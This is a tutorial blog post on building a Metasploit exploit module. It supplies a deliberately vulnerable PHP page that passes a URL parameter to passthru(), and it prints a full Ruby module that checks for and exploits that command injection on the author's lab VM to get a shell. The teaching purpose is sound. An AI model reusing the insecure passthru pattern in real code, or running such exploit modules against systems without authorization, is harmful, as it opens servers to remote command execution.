Penetration testing

Creating your Own Simple Exploit Module for a Remote Code Execution in Web Apps

aurelius
January 18, 2016 by
aurelius

To all readers, a zip file containing the code used in the article can also be downloaded here:

[download]

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

MSF is one of the most popular penetration testing toolkits the world has ever known, and we would like to thank HD Moore and his super awesome team from Rapid 7 plus the committees of the said project.

In this article, I will show you how you can write your very own unauthenticated, remote code execution exploit that targets web applications.

A few reminders before all else: I am not a 3l337 exploit developer, but I was able to contribute some auxiliary and exploit modules to the framework and have been a regular contributor since my first pull request and successful merge.

Before starting on landing a pull request and contribute some of your awesome code and ideas for the framework, you might want to read the official wiki guide to Setting Up a Metasploit Development Environment. If you are not familiar with the framework yet then read on Metasploit Unleashed which will guide you on what to do after launching the command "msfconsole".

This article though assumes that you are already familiar with using the tool, has an average knowledge of the Ruby language and would want to contribute your excellent code to the framework.

This article is pretty straightforward and brief, so please do refer to the references and write your comments below if you have any questions or some corrections.

Our Sample Target

I would suggest you to setup an Apache Server on a Linux VM machine and use the following vulnerable code as our practice vulnerable web:

<?php

if ( isset( $_GET['exec'] ) ) {

if ( false === passthru( $_GET['exec'] ) )

echo 'So sad, this is an error – aurelius of Infosec Institute';

}

?>

I placed this code on my Ubuntu VM machine on the path /var/www/html/msfdev/vulnerable.php thus I should be able to browse it on http://localhost/msfdev/vulnerable.php just like the image below with the proof of concept of the vulnerable code.

Yep, there we have it. We can execute arbitrary commands by using the parameter exec on the URL. Now time to write our exploit module based on this vulnerable target.

My attacker machine runs on Weakerthan GNU/Linux 6 which is a penetration testing distro based on Debian and has Metasploit pre-installed. My attacker machine is where I will be doing my exploit development. You can choose any penetration testing distro like Kali Linux or BackBox Linux as long as you are comfortable with it.

Our Template for Our Exploit

We will be using our modified template based on How to get started with writing an exploit.

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => 'Vulnerable App Remote Code Execution', # title of the exploit

'Description' => %q{

This module exploits a vulnerable web app created by aurelius.

},

'License' => MSF_LICENSE,

'Author' =>

[

'aurelius' # msf and initial discovery

],

'References' =>

[

['URL', 'https://github.com/rapid7/metasploit-framework/wiki'], # Metasploit Wiki

],

'Privileged' => false,

'Payload' =>

{

'Space' => 10000,

'DisableNops' => true,

'Compat' =>

{

'PayloadType' => 'cmd'

}

},

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets' =>

[

['Vulnerable App', { } ],

],

'DisclosureDate' => 'Dec 12 2015', # date this article was written in MS Word lol

'DefaultTarget' => 0))

register_options(

[

OptString.new('TARGETURI',[true, "The path of the vulnerable file", "/msfdev/vulnerable.php"]),

],self.class)

end

def check

# code here

end

def exploit

# code here

end

end

We will be using the HTTPClient mixin to send HTTP requests especially in sending our exploit that is why I used include Msf::Exploit::Remote::HttpClient and since this exploit will not crash a service and is a command execution vulnerability, I used Rank = ExcellentRanking.

Creating Our check() Method

When writing an exploit module, it would be wise to add a check() method to verify if a vulnerability exists or not without popping a shell or a meterpreter session. Here is our sample code that is almost done and the only thing we need to add to complete the module is to add some code to the exploit() method:

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => 'Vulnerable App Remote Code Execution', # title of the exploit

'Description' => %q{

This module exploits a vulnerable web app created by aurelius.

},

'License' => MSF_LICENSE,

'Author' =>

[

'aurelius' # msf and initial discovery

],

'References' =>

[

['URL', 'https://github.com/rapid7/metasploit-framework/wiki'], # Metasploit Wiki

],

'Privileged' => false,

'Payload' =>

{

'Space' => 10000,

'DisableNops' => true,

'Compat' =>

{

'PayloadType' => 'cmd'

}

},

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets' =>

[

['Vulnerable App', { } ],

],

'DisclosureDate' => 'Dec 12 2015', # date this article was written in MS Word lol

'DefaultTarget' => 0))

register_options(

[

OptString.new('TARGETURI',[true, "The path of the vulnerable file", "/msfdev/vulnerable.php"]),

],self.class)

end

def check

txt = Rex::Text.rand_text_alpha(10)

res = command_exec("echo #{txt}")

if res && res.body =~ /#{txt}/

return Exploit::CheckCode::Vulnerable

else

return Exploit::CheckCode::Safe

end

end

def command_exec(shell)

res = send_request_cgi({

'method' => 'GET',

'uri' => normalize_uri(target_uri.path),

'vars_get' => {

'exec' => shell

}

})

end

def exploit

# code here

end

end

Now, let's try running our code and save it as vulnerable_app_rce.rb. In my case, I just save it under the path metasploit-framework/modules/exploits/multi/http despite not defining Windows and Linux as our target or platform because we can just modify it later and add more platforms.

Excellent! We have now a working check() method and was able to verify that the remote code execution vulnerability does exist in our target. Let's try to check what Metasploit did in using the check() method by using Wireshark.

As what you can see, it was able to send the "echo tHHpohTgBa" command successfully because there is a word "tHHpohTgBa" reflected in the HTTP response body. "tHHpohTgBa" is a random string sent because of the code below on the check() method:

txt = Rex::Text.rand_text_alpha(10)

res = command_exec("echo #{txt}")

By the way, 192.168.150.128 is the IP address of the vulnerable Ubuntu VM machine where I placed the msfdev/vulnerable.php code.

Our Exploit Code

Here is our finishing touch:

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => 'Vulnerable App Remote Code Execution', # title of the exploit

'Description' => %q{

This module exploits a vulnerable web app created by aurelius.

},

'License' => MSF_LICENSE,

'Author' =>

[

'aurelius' # msf and initial discovery

],

'References' =>

[

['URL', 'https://github.com/rapid7/metasploit-framework/wiki'], # Metasploit Wiki

],

'Privileged' => false,

'Payload' =>

{

'Space' => 10000,

'DisableNops' => true,

'Compat' =>

{

'PayloadType' => 'cmd'

}

},

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets' =>

[

['Vulnerable App', { } ],

],

'DisclosureDate' => 'Dec 12 2015', # date this article was written in MS Word lol

'DefaultTarget' => 0))

register_options(

[

OptString.new('TARGETURI',[true, "The path of the vulnerable file", "/msfdev/vulnerable.php"]),

],self.class)

end

def check

txt = Rex::Text.rand_text_alpha(10)

res = command_exec("echo #{txt}")

if res && res.body =~ /#{txt}/

return Exploit::CheckCode::Vulnerable

else

return Exploit::CheckCode::Safe

end

end

def command_exec(shell)

res = send_request_cgi({

'method' => 'GET',

'uri' => normalize_uri(target_uri.path),

'vars_get' => {

'exec' => shell

}

})

end

def exploit

command_exec(payload.encoded) # we just added something here which is our payload

end

end

Now let's run it again and use the exploit command!


We got a shell! w00t! And there we have our exploit module for a remote code execution vulnerability.

Final Words

Greetz to sinn3r and wvu-r7 who have been handling most of my pull requests and helped me correct some of my code in my pull requests. Thanks to James Fitts for the inspiration to contribute to the MSF Framework!

References:

https://github.com/rapid7/metasploit-framework/wiki

Become a Certified Ethical Hacker, guaranteed!

Become a Certified Ethical Hacker, guaranteed!

Get training from anywhere to earn your Certified Ethical Hacker (CEH) Certification — backed with an Exam Pass Guarantee.

https://community.rapid7.com/community/metasploit

aurelius
aurelius

aurelius is the creator of n00bs CTF Labs, bug bounty hunter, security researcher at Infosec Institute and an application security analyst. He loves playing games and watching movies aside from hacking.